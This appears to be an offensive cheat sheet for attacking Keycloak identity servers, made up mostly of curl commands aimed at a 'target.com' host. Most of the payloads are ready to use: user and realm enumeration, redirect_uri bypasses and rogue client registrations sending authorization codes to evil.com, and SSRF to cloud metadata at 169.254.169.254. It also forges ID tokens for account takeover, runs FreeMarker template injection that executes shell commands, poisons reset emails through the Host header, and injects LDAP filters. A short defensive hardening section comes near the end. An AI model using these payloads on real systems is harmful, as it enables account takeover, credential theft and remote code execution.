# Requires valid admin JWT token
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/serverinfo | jq '.systemInfo.version'

# Valid realm returns 200 with realm JSON
curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/realms/master  # 200
curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/realms/nonexistent  # 404

# Wordlist-based enumeration with Burp Intruder
# Use common realm names: master, admin, company, sso, production, dev, staging, demo

# Valid client_id produces a login form (larger response)
# Invalid client_id produces an error page (smaller response)

# Standard authorization request
curl "https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\
client_id=TARGET_CLIENT&\
redirect_uri=https://app.example.com/callback&\
response_type=code&\
scope=openid&\
state=RANDOM"

# Compare response lengths. Valid clients return ~2451 bytes (login page)
# Invalid clients return different sizes (error page)

# Add scopes to the authorization request and check for changes in the consent screen
curl "https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\
client_id=account-console&\
redirect_uri=https://target.com/auth/realms/{realm}/account/\
&response_type=code&\
scope=openid+profile+email+address+phone+offline_access+uma_authorization+microprofile-jwt&\
state=RANDOM"

# Enumerate IDP aliases
curl -s https://target.com/auth/realms/{realm}/broker/{idp_alias}/endpoint | head -1
# Returns 302 to the IdP login page if configured
# Returns 404 if not configured

# Existing email: different response than non-existing
curl -s -o /dev/null -w "%{http_code}\n%{size_download}" \
  -X POST "https://target.com/auth/realms/{realm}/login-actions/reset-credentials" \
  -d "username=existing@example.com&execution=..."

curl -s -o /dev/null -w "%{http_code}\n%{size_download}" \
  -X POST "https://target.com/auth/realms/{realm}/login-actions/reset-credentials" \
  -d "username=nonexistent@example.com&execution=..."

# ROPC flow - sends credentials directly
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=password&\
       client_id={client_id}&\
       username={username}&\
       password={password}&\
       scope=openid"

# With client_secret
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=password&\
       client_id={client_id}&\
       client_secret={secret}&\
       username={username}&\
       password={password}"

# 1. Intercept the authorization code from the redirect
GET https://app.example.com/callback?code=AUTH_CODE&state=STATE

# 2. Exchange it (valid for only 60 seconds by default - DEFAULT_ACCESS_CODE_LIFESPAN)
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=authorization_code&\
       code={AUTH_CODE}&\
       redirect_uri=https://app.example.com/callback&\
       client_id={client_id}"

# 3. If PKCE is not enforced, try with a different redirect_uri

# If PKCE is required (S256), the code_verifier must match the code_challenge
# 1. Generate code_verifier
CODE_VERIFIER=$(openssl rand -base64 32 | tr -d '=+/' | head -c 43)

# 2. Generate code_challenge
CODE_CHALLENGE=$(echo -n "$CODE_VERIFIER" | openssl dgst -sha256 -binary | base64 | tr -d '=+/')

# 3. Include in auth request
# ...&code_challenge=$CODE_CHALLENGE&code_challenge_method=S256

# 4. Include code_verifier in token request
# ...&code_verifier=$CODE_VERIFIER

# If PKCE is NOT enforced, try the plain method:
# ...&code_challenge=$CODE_VERIFIER&code_challenge_method=plain

# Use refresh token to get new tokens
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=refresh_token&\
       refresh_token={REFRESH_TOKEN}&\
       client_id={client_id}"

# If rotation is enabled, the old refresh token is invalidated
# If rotation is NOT enabled, the same refresh token can be reused

# Requires client authentication (confidential client)
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token/introspect" \
  -u "{client_id}:{client_secret}" \
  -d "token={ACCESS_TOKEN}"

# Response reveals: active, sub, client_id, scope, exp, iat, ...

# Revoke a refresh token (also revokes associated access token)
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/revoke" \
  -u "{client_id}:{client_secret}" \
  -d "token={REFRESH_TOKEN}&token_type_hint=refresh_token"

# Revoke only the access token (refresh token may still work)
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/revoke" \
  -u "{client_id}:{client_secret}" \
  -d "token={ACCESS_TOKEN}&token_type_hint=access_token"

# Decode without verification
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .

# Look for:
# - realm_access.roles (Keycloak-specific)
# - resource_access.{client}.roles (client-specific roles)
# - scope (granted scopes)
# - acr (authentication context class reference)
# - email_verified
# - groups (if configured)
# - session_state
# - iss (issuer - realm URL)
# - aud (audience)

# Admin API check (requires admin token)
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm} | jq '.bruteForceProtected'

# Default: false (DISABLED)
# Default failure factor: 30
# Default max failure wait: 900 seconds (15 minutes)
# Default wait increment: 60 seconds
# Default max delta time: 12 hours (43200 seconds)

# Check what redirect URIs are registered for a client
# Via OIDC discovery (if client is public)
curl https://target.com/auth/realms/{realm}/.well-known/openid-configuration | jq '.redirect_uris_supported'

# Common wildcard patterns:
# /admin/{realm}/console/*  (admin console - internal)
# /account/{realm}/*        (account console - internal)
# https://*.example.com/*   (wildcard subdomain)
# https://app.example.com/* (wildcard path)

# If a client has redirect_uri = https://*.example.com/*
# Try: https://evil.example.com/callback
# Or: https://example.com@evil.com/callback (URL confusion)
# Or: https://example.com%0d%0a%0d%0aLocation:%20http://evil.com (CRLF injection)

# If redirect_uri = https://app.example.com/callback
# Try: https://app.example.com/callback#https://evil.com
# Some parsers only check the path before the fragment

# If redirect_uri = https://*.example.com/*
# And a subdomain (e.g., old.example.com) has expired DNS
# Register old.example.com, set up server to capture callback
# The authorization code will be sent to your server

# Post-logout redirect can be abused if not properly validated
curl "https://target.com/auth/realms/{realm}/protocol/openid-connect/logout?\
post_logout_redirect_uri=https://evil.com&\
id_token_hint={ID_TOKEN}"

# 1. Create a client with JWKS URI pointing to internal service
curl -X POST "https://target.com/auth/admin/realms/{realm}/clients" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clientId": "ssrf-test",
    "publicClient": true,
    "protocol": "openid-connect",
    "attributes": {
      "publicKeySignatureUrl": "http://169.254.169.254/latest/meta-data/"
    }
  }'

# 2. Trigger a token request that uses the JWKS URI
# 3. Check if Keycloak made a request to the metadata endpoint

# Configure an OIDC IdP with internal endpoints
curl -X POST "https://target.com/auth/admin/realms/{realm}/identity-providers" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -d '{
    "alias": "ssrf-idp",
    "providerId": "oidc",
    "config": {
      "authorizationUrl": "http://169.254.169.254/latest/meta-data/",
      "tokenUrl": "http://169.254.169.254/latest/meta-data/",
      "clientId": "test",
      "clientSecret": "test"
    }
  }'

# Try to login via this IdP
curl "https://target.com/auth/realms/{realm}/broker/ssrf-idp/endpoint"

# 1. Find a realm with an OIDC IdP configured
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/identity-providers | jq '.[].alias'

# 2. Check if the first-broker-login flow has IdpAutoLink enabled
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/authentication/flows | jq '.[].alias'

# 3. If auto-link is enabled:
# a. Create an account on the external IdP with victim's email
# b. Login via the IdP
# c. Keycloak auto-links the IdP identity to victim's account
# d. Account takeover complete

# If "Store Tokens" is enabled for the IdP, Keycloak stores the external tokens
# These can be accessed via the Account REST API

# 1. Authenticate and get Keycloak tokens
# 2. Use access token to access Account API
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  https://target.com/auth/realms/{realm}/account/linked-accounts

# 3. Check if external tokens are accessible
# If "Store Token" is on, you may get the external OAuth tokens

# 1. Forge an OIDC ID token from the "external" IdP
# 2. Sign it with your own key
# 3. Submit it to Keycloak's callback endpoint
# 4. Keycloak accepts it without signature verification

# Generate a forged ID token
python3 -c "
import jwt
payload = {
    'sub': 'attacker-external-id',
    'email': 'victim@example.com',
    'iss': 'https://idp.example.com',
    'aud': 'keycloak-client-id',
    'exp': 9999999999
}
token = jwt.encode(payload, 'secret', algorithm='HS256')
print(token)
"

# The IdP callback endpoint is:
# GET /realms/{realm}/broker/{idp_alias}/endpoint

# Parameters received from IdP:
# - code: Authorization code
# - state: State parameter (must match session)
# - session_state: OIDC session state

# If state validation is weak, try:
# 1. Replay a previous state value
# 2. Modify the state to reference another session
# 3. Inject a code from a different IdP

# 1. Create a resource
curl -X POST "https://target.com/auth/realms/{realm}/authz/protection/resource_set" \
  -H "Authorization: Bearer $RPT" \
  -d '{"name": "Sensitive Document", "type": "document", "owner": "user-id"}'

# 2. Create a permission ticket
curl -X POST "https://target.com/auth/realms/{realm}/authz/protection/permission" \
  -H "Authorization: Bearer $RPT" \
  -d '{"resource_id": "resource-id", "resource_scopes": ["read"]}'

# 3. Request RPT with permission ticket
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\
       ticket={permission_ticket}&\
       client_id={client_id}"

# 1. Request RPT with minimal scopes
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\
       ticket={ticket}&\
       scope=read"

# 2. If policies are not properly configured, requesting additional scopes
# may grant elevated permissions
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\
       ticket={ticket}&\
       scope=read+write+delete+admin"

# Keycloak supports JavaScript-based policies
# If custom JS policies are deployed, they may have vulnerabilities

# Check policy types via Admin API
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/authorization/policies | jq '.[].config'

# Look for JavaScript policies with eval() or unsafe operations

# Introspect an RPT to see all permissions
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token/introspect" \
  -u "{client_id}:{client_secret}" \
  -d "token={RPT}"

# Response includes permissions array with resource_id and scopes

# Check if LDAP is configured
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/components?\
type=org.keycloak.storage.UserStorageProvider&\
parentId={realm-id} | jq '.[].config'

# LDAP bind credentials are stored in the component configuration
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/components?\
type=org.keycloak.storage.UserStorageProvider | jq '.[].config'

# Look for: "bindDn", "bindCredential"
# If you have admin access, you can read these
# The password is stored encrypted, but the encryption key is in the Keycloak config

# Keycloak's user search sends queries to LDAP
# If the search filter includes user input without sanitization:

# Normal: (uid=user123)
# Injected: *)(objectClass=*)(uid=*

# This could return ALL users in the LDAP directory

# Check if admin console is accessible
curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/admin/
# 200 = accessible, 403 = restricted, 401 = auth required

# Check if admin REST API is accessible
curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/admin/serverinfo
# 401 = requires auth, 200 = open (misconfiguration!)

# Check if FGAP is configured
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/master/components?\
type=org.keycloak.authentication.RequiredActionProvider | jq '.[] | select(.name == "fgap")'

# Test if delegated admin can access unauthorized resources
# Delegated admin has restricted permissions via FGAP
# Try accessing resources outside their granted scope

# Admin events may contain user-controlled data
# If event listeners process URLs or user data without sanitization
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/events | jq '.[] | select(.resourceType == "USER")'

# Bootstrap admin is created during initial master realm setup
# Default username: temp-admin
# Default expiration: 120 minutes

# If you find a Keycloak instance with:
# - Bootstrap admin enabled
# - Default or weak credentials
# You can gain full admin access

# Check if bootstrap admin is active
# Look for: /auth/admin/ with temp-admin user

# Admin API v2 introduces new endpoints
# Check for new features that may have misconfigurations

curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms | jq '.[].realm'

# Check if dynamic registration is enabled
curl https://target.com/auth/realms/{realm}/.well-known/openid-configuration | \
  jq '.registration_endpoint'

# If enabled, register a client
curl -X POST "https://target.com/auth/realms/{realm}/clients-registrations/openid-connect" \
  -H "Content-Type: application/json" \
  -d '{
    "redirect_uris": ["https://evil.com/callback"],
    "grant_types": ["authorization_code", "password", "client_credentials"],
    "response_types": ["code"]
  }'

# Response includes: client_id, client_secret
# Now you have a client with ROPC and client_credentials enabled

# Check client policies
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/client-policies | jq '.policies'

# Test each executor:
# 1. PKCEEnforcerExecutor - Try auth without code_challenge
# 2. RejectImplicitGrantExecutor - Try implicit flow
# 3. RejectResourceOwnerPasswordCredentialsGrantExecutor - Try ROPC
# 4. SecureRedirectUrisEnforcerExecutor - Try unregistered redirect URIs
# 5. SecureSigningAlgorithmExecutor - Try weak algorithms
# 6. DPoPBindEnforcerExecutor - Try without DPoP proof
# 7. HolderOfKeyEnforceExecutor - Try without mTLS certificate

# Registration access tokens allow clients to update their own configuration
# If you compromise a registration access token, you can:
# 1. Modify the client's redirect URIs
# 2. Change the client's grant types
# 3. Add dangerous scopes
# 4. Change the client's authentication method

# Test: Can you register a client and then modify it via the registration access token?
curl -X PUT "https://target.com/auth/realms/{realm}/clients-registrations/openid-connect/{client_id}" \
  -H "Authorization: Bearer $REGISTRATION_ACCESS_TOKEN" \
  -d '{"redirect_uris": ["https://evil.com/callback"]}'

# Standard exchange: convert an access token for one client to another
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&\
       subject_token={ACCESS_TOKEN}&\
       subject_token_type=urn:ietf:params:oauth:token-type:access_token&\
       audience=target-client&\
       requested_token_type=urn:ietf:params:oauth:token-type:access_token&\
       client_id={client_id}&\
       client_secret={secret}"

# V2 only supports internal-to-internal exchange
# The subject_token must be a Keycloak-issued access token

# V1 allows external tokens as subject_token
# This means tokens from other OAuth servers can be exchanged

curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&\
       subject_token={EXTERNAL_TOKEN}&\
       subject_token_type=urn:ietf:params:oauth:token-type:access_token&\
       audience=target-client&\
       client_id={client_id}&\
       client_secret={secret}"

# If the IdP doesn't validate the external token properly,
# this could allow unauthorized token exchange

# The audience parameter filters what the token is valid for
# Test: Can you request tokens for audiences you shouldn't have access to?

curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=client_credentials&\
       client_id={client_id}&\
       client_secret={secret}&\
       audience=admin-api"

# Check realm password policy
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm} | jq '.passwordPolicy'

# Default: NONE (no password policy)
# Available policies:
# - length (min length)
# - digits (min digits)
# - uppercase (min uppercase)
# - lowercase (min lowercase)
# - specialChars (min special chars)
# - notUsername (password can't be username)
# - passwordHistory (can't reuse recent passwords)
# - passwordBlacklist (denylist check)
# - forced-per-change (force password change on login)
# - MaximumAge (password expires after N days)

# Keycloak supports password denylists (bloom filter or file-based)
# Default path: $KC_HOME/data/password-blacklists/

# Test: Try commonly breached passwords
# The denylist is case-insensitive and checks against the exact password
# If the denylist is not loaded, all passwords are accepted

# Login events are logged per realm
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/events | jq '.[]'

# Key event types:
# - LOGIN (success)
# - LOGIN_ERROR (failure - includes error type, IP, user agent)
# - REGISTER (new user)
# - LOGOUT
# - REFRESH_TOKEN
# - SEND_VERIFY_EMAIL
# - SEND_RESET_PASSWORD
# - RESET_PASSWORD
# - USER_DISABLED_BY_TEMPORARY_LOCKOUT
# - USER_DISABLED_BY_PERMANENT_LOCKOUT

# Admin events log all administrative actions
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/admin-events | jq '.[]'

# Admin events reveal:
# - All configuration changes
# - User creation/modification
# - Client registration changes
# - Role assignments
# - Admin IP addresses and user agents

curl -s -D- https://target.com/auth/realms/{realm}/.well-known/openid-configuration | grep -i "x-frame\|content-security\|strict-transport\|x-content-type\|referrer-policy"

# Check CSP header
curl -s -D- https://target.com/auth/realms/{realm}/account | grep -i "content-security-policy"

# CSP should include:
# frame-ancestors 'self'
# script-src 'self'
# style-src 'self' 'unsafe-inline'  (Keycloak allows inline styles for themes)

# Keycloak uses the public hostname in:
# - Token issuer (iss claim)
# - Password reset emails
# - Redirect URIs
# - Email content

# If hostname-strict=false (dev mode default), the hostname is taken from the request Host header
curl -H "Host: evil.com" https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?...

# The password reset email will contain: https://evil.com/auth/realms/{realm}/login-actions/reset-credentials?...

# If hostname-debug=true (should be false in production):
curl https://target.com/auth/realms/master/hostname-debug

# This page reveals:
# - Current hostname configuration
# - Frontend URL
# - Backend URL
# - CORS test results

# Keycloak themes use FreeMarker templates
# If a custom theme allows user input in templates:

# Attack payload:
${product.version}
${.now?string("yyyy-MM-dd")}
${.data_model?keys?join(",")}

# More dangerous:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

# Or via ObjectConstructor:
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

# Keycloak blocks .js.map files in production via RejectSourceMapFilter
# But check if custom themes expose source maps
curl https://target.com/auth/resources/{theme}/login/account/js/custom-theme.js.map

# If accessible, reveals:
# - Theme source code
# - Custom business logic
# - Potential hardcoded secrets

# Themes can include remote resources
# Check for SSRF via theme resources
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm}/... | grep -i "theme"

# If themes load remote CSS/JS, they can be used for:
# - Tracking users
# - Injecting malicious scripts
# - Exfiltrating data

# Fetch current signing keys
curl https://target.com/auth/realms/{realm}/protocol/openid-connect/certs | jq '.keys[] | {kid, alg, kty, use}'

# Check key rotation:
# 1. Get current kid
# 2. Wait for rotation
# 3. Verify old tokens are rejected

# Key types:
# RS256/RS384/RS512 - RSA public keys
# ES256/ES384/ES512 - ECDSA public keys
# PS256/PS384/PS512 - RSA-PSS public keys

# Internal tokens use HS512 with a server-side secret
# If this secret is compromised, all internal tokens can be forged

# Internal tokens include:
# - KEYCLOAK_IDENTITY cookie JWT
# - State checker tokens
# - Action tokens
# - Authentication session tokens

# The secret is derived from the server configuration and should never be exposed

# Different error messages for different failure modes:
# - "Invalid user credentials" - wrong password for existing user
# - "Account disabled" - account is disabled
# - "Account not verified" - email not verified
# - "Too many login failures" - brute force lockout

# These different messages enable user enumeration

# 1. Get tokens for a user
# 2. Revoke the user's session via Admin API
curl -X DELETE "https://target.com/auth/admin/realms/{realm}/sessions/{session_id}" \
  -H "Authorization: Bearer $ADMIN_TOKEN"

# 3. Test if the access token still works
# The access token is valid until expiry even if the session is revoked
# Only refresh tokens are invalidated on session revocation

# Keycloak pushes a "not-before" policy to invalidate old tokens
# But this requires manual admin action

# Offline tokens bypass session idle timeout
# They persist for 60 days by default (offline_session_max_lifespan)

# 1. Request offline token
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \
  -d "grant_type=authorization_code&\
       code={CODE}&\
       redirect_uri={URI}&\
       client_id={CLIENT_ID}&\
       scope=openid+offline_access"

# 2. The refresh_token in the response has type=offline
# 3. Use it to get new access tokens indefinitely (until offline_session_max_lifespan)

# Unlink a social account
curl -X DELETE "https://target.com/auth/realms/{realm}/account/linked-accounts/{provider}" \
  -H "Authorization: Bearer $ACCESS_TOKEN"

# Rules:
# 1. User must have a password configured (can't unlink last auth method)
# 2. Only social providers can be unlinked
# 3. Event: IDENTITY_PROVIDER_REMOVE_FEDERATED_IDENTITY is emitted

# Attack: If you can force unlinking, the user loses access via the IdP
# Then you can link a different IdP account

# Test if realms are properly isolated
# 1. Get a token for realm A
TOKEN_A=$(curl -X POST "https://target.com/auth/realms/realm-a/protocol/openid-connect/token" \
  -d "grant_type=password&client_id=...&username=...&password=...")

# 2. Try to use it against realm B
curl -H "Authorization: Bearer $TOKEN_A" \
  https://target.com/auth/admin/realms/realm-b/users
# Should return 403 or 401

# 3. Check token issuer validation
curl https://target.com/auth/realms/realm-b/protocol/openid-connect/userinfo \
  -H "Authorization: Bearer $TOKEN_A"
# Should reject the token (wrong issuer)

# The master realm has full control over all other realms
# Admin accounts in the master realm can:
# - View and manage any realm
# - Create/delete realms
# - Access all admin APIs
# - Modify any user in any realm

# Attack: If you compromise a master realm admin, you own everything

# Roles are realm-scoped
# A user in realm A cannot have roles from realm B
# But composite roles may cross realm boundaries

# Test: Can a user with realm-admin role in realm A access realm B?
curl -H "Authorization: Bearer $REALM_A_ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/realm-b/users

# Check for known CVEs in the Keycloak version
# https://repology.org/project/keycloak/cves

# Keycloak CVE examples:
# CVE-2020-1697: Open redirect in authorization endpoint
# CVE-2020-1718: Account console XSS
# CVE-2020-1715: User injection via LDAP
# CVE-2021-20250: Insecure deserialization
# CVE-2022-4361: Account console XSS
# CVE-2023-0103: OIDC request smuggling
# CVE-2023-48795: SSH prefix truncation attack (Terrapin)
# CVE-2024-25710: DoS via XML parsing
# CVE-2024-27131: Unsafe deserialization

# Export current realm configuration
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
  https://target.com/auth/admin/realms/{realm} > realm_config.json

# Compare against expected configuration
diff expected_realm.json realm_config.json

# Key settings to monitor:
# - bruteForceProtected (should be true)
# - sslRequired (should be 'all')
# - registrationAllowed (should be false)
# - resetPasswordAllowed (should be true only if needed)
# - editUsernameAllowed (should be false)
# - passwordPolicy (should be set)

# Get all realms
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms

# Get realm details
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}

# Get all users
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/users

# Get user details
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/users/{user-id}

# Get all clients
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/clients

# Get client details
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/clients/{client-uuid}

# Get identity providers
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/identity-providers

# Get authentication flows
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/authentication/flows

# Get events
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/events

# Get server info
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/serverinfo

# Get components (user storage, etc.)
curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/components